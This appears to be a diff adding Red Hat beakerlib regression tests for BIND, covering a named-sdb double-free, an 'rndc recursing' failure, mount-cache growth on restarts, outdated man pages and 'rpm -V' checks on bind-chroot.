@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1426626-The-named-sdb-utility-raises-an-abort
Description: Test for BZ#1426626 (The named-sdb utility raises an abort())
Author: Andrej Dzilsky <adzilsky@redhat.com>
Bug summary: The named-sdb utility raises an abort() within ldapdb_getconn() due to a double-free
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1426626

View file

@ -0,0 +1,28 @@
summary: Test for BZ#1426626 (The named-sdb utility raises an abort())
description: |
Bug summary: The named-sdb utility raises an abort() within ldapdb_getconn() due to a double-free
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1426626
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind-chroot
- bind-utils
- library(bind/bind-setup)
duration: 30m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIP_fedora_pass
- TIPpass
- TIPpass_infra
- Tier1
- tip_destructive_el8
tier: '1'
relevancy: |
distro = rhel-4, rhel-5: False
extra-summary: /CoreOS/bind/Regression/bz1426626-The-named-sdb-utility-raises-an-abort
extra-task: /CoreOS/bind/Regression/bz1426626-The-named-sdb-utility-raises-an-abort
extra-nitrate: TC#0569792

View file

@ -0,0 +1,79 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1426626-The-named-sdb-utility-raises-an-abort
# Description: Test for BZ#1426626 (The named-sdb utility raises an abort())
# Author: Andrej Dzilsky <adzilsky@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlFileBackup --clean /var/named/chroot
rlFileBackup /etc/sysconfig/named
rlRun "TmpDir=\`mktemp -d\`" 0 "Creating tmp directory"
rlRun "pushd $TmpDir"
rlRun "rlImport bind/bind-setup"
bsBindSetupStart
rlRun "rm -rf /etc/named.conf $ROOTDIR/etc/named.conf /var/named/*zone $ROOTDIR/var/named/*zone"
cat <<-AEND > /etc/named.conf
options {
listen-on port 53 { 127.0.0.1; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
allow-query { localhost; };
};
# Using resources outside of RH is not good idea
# but it doesn't matter in this case, even if this source will be not available
zone "ldap.forumsys.com" {
type master;
database "ldap ldap://54.196.176.103/cn=read-only-admin,dc=example,dc=com 172800";
};
AEND
rlRun "[ ! -z \"$ROOTDIR\" ] && cp /etc/named.conf $ROOTDIR/etc/|| true"
rlRun "chown named:named /etc/named.conf $ROOTDIR/etc/named.conf"
rlRun "restorecon /etc/named.conf $ROOTDIR/etc/named.conf"
bsBindSetupDone
rlPhaseEnd
rlPhaseStartTest
bsBindSetupCleanup
cat /var/log/messages | tail -15 > log.named-service-stop
rlAssertNotGrep "Saved core dump" log.named-service-stop
rlPhaseEnd
rlPhaseStartCleanup
rlRun "rm log.named-service-stop" 0 "Removing log file"
rlRun "popd"
rlRun "rm -r $TmpDir" 0 "Removing tmp directory"
rlPhaseEnd
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1435883-rndc-recursing-rndc-recursing-failed
# Description: Test for BZ#1435883 (rndc recursing, rndc 'recursing' failed)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1435883-rndc-recursing-rndc-recursing-failed
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1435883 (rndc recursing, rndc 'recursing' failed)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1435883" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1435883-rndc-recursing-rndc-recursing-failed
Description: Test for BZ#1435883 (rndc recursing, rndc 'recursing' failed)
Author: Petr Sklenar <psklenar@redhat.com>
Bug summary: rndc recursing, rndc: 'recursing' failed: permission denied
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1435883

View file

@ -0,0 +1,24 @@
summary: Test for BZ#1435883 (rndc recursing, rndc 'recursing' failed)
description: |
Bug summary: rndc recursing, rndc: 'recursing' failed: permission denied
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1435883
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
duration: 5m
enabled: true
tag:
- ExpIgnorePass
- NoRHEL4
- NoRHEL5
- TIP_fedora_fail
- TIPfail_infra
- TIPpass
relevancy: |
distro = rhel-4, rhel-5, rhel-6: False
extra-summary: /CoreOS/bind/Regression/bz1435883-rndc-recursing-rndc-recursing-failed
extra-task: /CoreOS/bind/Regression/bz1435883-rndc-recursing-rndc-recursing-failed
extra-nitrate: TC#0577440

View file

@ -0,0 +1,48 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1435883-rndc-recursing-rndc-recursing-failed
# Description: Test for BZ#1435883 (rndc recursing, rndc 'recursing' failed)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
rlServiceStart named
rlPhaseEnd
rlPhaseStartTest
rlRun "rndc recursing"
rlPhaseEnd
rlPhaseStartCleanup
rlServiceStop named
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1503646-Change-in-RHBZ-1392362-is-causing-bind-to-fill-up
# Description: Test for BZ#1503646 (Change in RHBZ #1392362 is causing bind to fill up)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2017 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1503646-Change-in-RHBZ-1392362-is-causing-bind-to-fill-up
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE test.sh
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1503646 (Change in RHBZ #1392362 is causing bind to fill up)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 2h" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-chroot" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1503646" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1503646-Change-in-RHBZ-1392362-is-causing-bind-to-fill-up
Description: Test for BZ#1503646 (Change in RHBZ #1392362 is causing bind to fill up)
Author: Petr Sklenar <psklenar@redhat.com>
Bug summary: Change in RHBZ #1392362 is causing bind to fill up mnt_cache when frequently restarted which can lead to system panic
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1503646

View file

@ -0,0 +1,23 @@
summary: 'Test for BZ#1503646 (Change in RHBZ #1392362 is causing bind to fill up)'
description: |
Bug summary: Change in RHBZ #1392362 is causing bind to fill up mnt_cache when frequently restarted which can lead to system panic
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1503646
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-chroot
duration: 2h
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIPfail_infra
- TIPpass
relevancy: |
distro = rhel-4, rhel-5: False
extra-summary: /CoreOS/bind/Regression/bz1503646-Change-in-RHBZ-1392362-is-causing-bind-to-fill-up
extra-task: /CoreOS/bind/Regression/bz1503646-Change-in-RHBZ-1392362-is-causing-bind-to-fill-up
extra-nitrate: TC#0562551

View file

@ -0,0 +1,49 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1503646-Change-in-RHBZ-1392362-is-causing-bind-to-fill-up
# Description: Test for BZ#1503646 (Change in RHBZ #1392362 is causing bind to fill up)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2017 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment<F7>
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
rlPhaseEnd
rlPhaseStartTest "check slabs"
rlRun "bash test.sh"
rlRun "bash test.sh"
rlRun "bash test.sh"
rlPhaseEnd
rlPhaseStartCleanup
pkill -9 named
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,52 @@
#!/bin/sh
#
# Reproduce bug #1503646
# Note: this analyses mounts in all system processes
# It might report false positives
count_total_mounts()
{
wc -l /proc/[0-9]*/mounts | sort -nr | head -n 1 | cut -d' ' -f1
}
count_top_mounts()
{
wc -l /proc/[0-9]*/mounts | sort -nr | head -n 5 | while read COUNT MOUNT; do
local PID=`echo $MOUNT | cut -s -d/ -f3`
if [ -n "$PID" ]; then
echo "Mounts: $COUNT"
ps hu $PID
fi
done
}
if [ `whoami` != "root" ]
then
echo "Run me as root"
exit 1
fi
MOUNTS_BEFORE=`count_total_mounts`
echo "Top mounts processes before"
count_top_mounts
for I in `seq 16`; do
echo "Restarting named-chroot ($I)..."
systemctl restart named-chroot
MOUNTS=`count_total_mounts`
if [ "$MOUNTS" -gt "$((2*MOUNTS_BEFORE))" ]
then
echo "ERROR: Total process mounts doubled from $MOUNTS_BEFORE to $MOUNTS"
count_top_mounts
exit 1
fi
sleep 5
done
echo "Top mounts processes after"
count_top_mounts
MOUNTS=`count_total_mounts`
echo "Total process mounts before $MOUNTS_BEFORE ~= $MOUNTS after "

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1581658-man-named-man-dig-strange-old-man-pages
# Description: Test for BZ#1581658 (man named, man dig, strange old man pages)
# Author: Ondrej Mejzlik <omejzlik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1581658-man-named-man-dig-strange-old-man-pages
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Ondrej Mejzlik <omejzlik@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1581658 (man named, man dig, strange old man pages)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-utils" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1581658" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1581658-man-named-man-dig-strange-old-man-pages
Description: Test for BZ#1581658 (man named, man dig, strange old man pages)
Author: Ondrej Mejzlik <omejzlik@redhat.com>
Bug summary: man named, man dig, strange old man pages
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1581658

View file

@ -0,0 +1,25 @@
summary: Test for BZ#1581658 (man named, man dig, strange old man pages)
description: |
Bug summary: man named, man dig, strange old man pages
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1581658
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-utils
duration: 5m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIPfail_infra
- TIPfail_samba
- TIPfail_systemd
- TIPpass
relevancy: |
distro = rhel-4, rhel-5: False
extra-summary: /CoreOS/bind/Regression/bz1581658-man-named-man-dig-strange-old-man-pages
extra-task: /CoreOS/bind/Regression/bz1581658-man-named-man-dig-strange-old-man-pages
extra-nitrate: TC#0576232

View file

@ -0,0 +1,61 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1581658-man-named-man-dig-strange-old-man-pages
# Description: Test for BZ#1581658 (man named, man dig, strange old man pages)
# Author: Ondrej Mejzlik <omejzlik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE=${PACKAGE:-bind}
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
if [ $? -ne 0 ]; then
rlDie "Package $PACKAGE not installed"
fi
rlLog "PC name: $(hostname)"
rlRun "TmpDir=\$(mktemp -d)" 0 "Creating tmp directory"
rlRun "pushd $TmpDir"
rlPhaseEnd
rlGetTestState && {
rlPhaseStartTest manNamed
rlRun "man named | grep system-config-bind" 1 "system-config-bind is not in named man pages"
rlPhaseEnd
rlPhaseStartTest manDig
rlRun "man dig | col -b | grep \"^RETURN CODES\"" 0 "RETURN CODES are in dig man pages"
rlRun "man dig | col -b | grep '0: Everything went well'" 0 "At least return code 0 is present"
rlPhaseEnd
}
rlPhaseStartCleanup
rlRun "popd"
rlRun "rm -r $TmpDir" 0 "Removing tmp directory"
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1592872-rpm-V-bind-bind-chroot-shows-some-file
# Description: Test for BZ#1592872 (rpm -V bind bind-chroot shows some file)
# Author: Ondrej Mejzlik <omejzlik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1592872-rpm-V-bind-bind-chroot-shows-some-file
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Ondrej Mejzlik <omejzlik@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1592872 (rpm -V bind bind-chroot shows some file)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-chroot" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1592872" >> $(METADATA)
@echo "Releases: -RHEL4 -RHEL6 -RHEL7 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1592872-rpm-V-bind-bind-chroot-shows-some-file
Description: Test for BZ#1592872 (rpm -V bind bind-chroot shows some file)
Author: Ondrej Mejzlik <omejzlik@redhat.com>
Bug summary: rpm -V bind bind-chroot shows some file
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1592872

View file

@ -0,0 +1,27 @@
summary: Test for BZ#1592872 (rpm -V bind bind-chroot shows some file)
description: |
Bug summary: rpm -V bind bind-chroot shows some file
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1592872
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-chroot
duration: 5m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- NoRHEL6
- NoRHEL7
- TIPfail_infra
- TIPfail_samba
- TIPfail_systemd
- TIPpass
relevancy: |
distro = rhel-4, rhel-5, rhel-6, rhel-7: False
extra-summary: /CoreOS/bind/Regression/bz1592872-rpm-V-bind-bind-chroot-shows-some-file
extra-task: /CoreOS/bind/Regression/bz1592872-rpm-V-bind-bind-chroot-shows-some-file
extra-nitrate: TC#0575655

View file

@ -0,0 +1,80 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1592872-rpm-V-bind-bind-chroot-shows-some-file
# Description: Test for BZ#1592872 (rpm -V bind bind-chroot shows some file)
# Author: Ondrej Mejzlik <omejzlik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE=${PACKAGE:-bind}
CHROOTPKG="$PACKAGE-chroot"
SERVICE="named${CHROOTPKG#bind}"
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
if [ $? -ne 0 ]; then
rlDie "Package $PACKAGE not installed"
fi
rlAssertRpm $CHROOTPKG
if [ $? -ne 0 ]; then
rlDie "Package $CHROOTPKG not installed"
fi
rlLog "PC name: $(hostname)"
rlRun "TmpDir=\$(mktemp -d)" 0 "Creating tmp directory"
rlRun "pushd $TmpDir"
rlPhaseEnd
rlGetTestState && {
rlPhaseStartTest
# RHEL8 changes creation of devices to on demand when service is started. It needs to be
# checked with service started and stopped.
# rpm -V returns 0 if the output is empty.
rlRun "rpm -V $CHROOTPKG >& output-clean.txt" 0 "Getting rpm -V bind-chroot output"
rlServiceStart $SERVICE
sleep 1
rlRun "rpm -V $CHROOTPKG >& output-running.txt" 0
rlServiceStop $SERVICE
sleep 1
rlRun "rpm -V $CHROOTPKG >& output-stopped.txt" 0
for OUTPUT in output-clean.txt output-running.txt output-stopped.txt; do
rlRun "test -s $OUTPUT" 1 "There should be nothing in the $OUTPUT"
ls -l $OUTPUT
cat $OUTPUT
done
rlPhaseEnd
}
rlPhaseStartCleanup
rlServiceRestore $SERVICE
#rlBundleLogs $PACKAGE output-clean.txt output-running.txt output-stopped.txt
rlRun "popd"
rlRun "rm -r $TmpDir" 0 "Removing tmp directory"
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1595824-Revoke-named-iscdlv-key
# Description: Test for BZ#1595824 (Revoke named.iscdlv.key)
# Author: Ondrej Mejzlik <omejzlik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
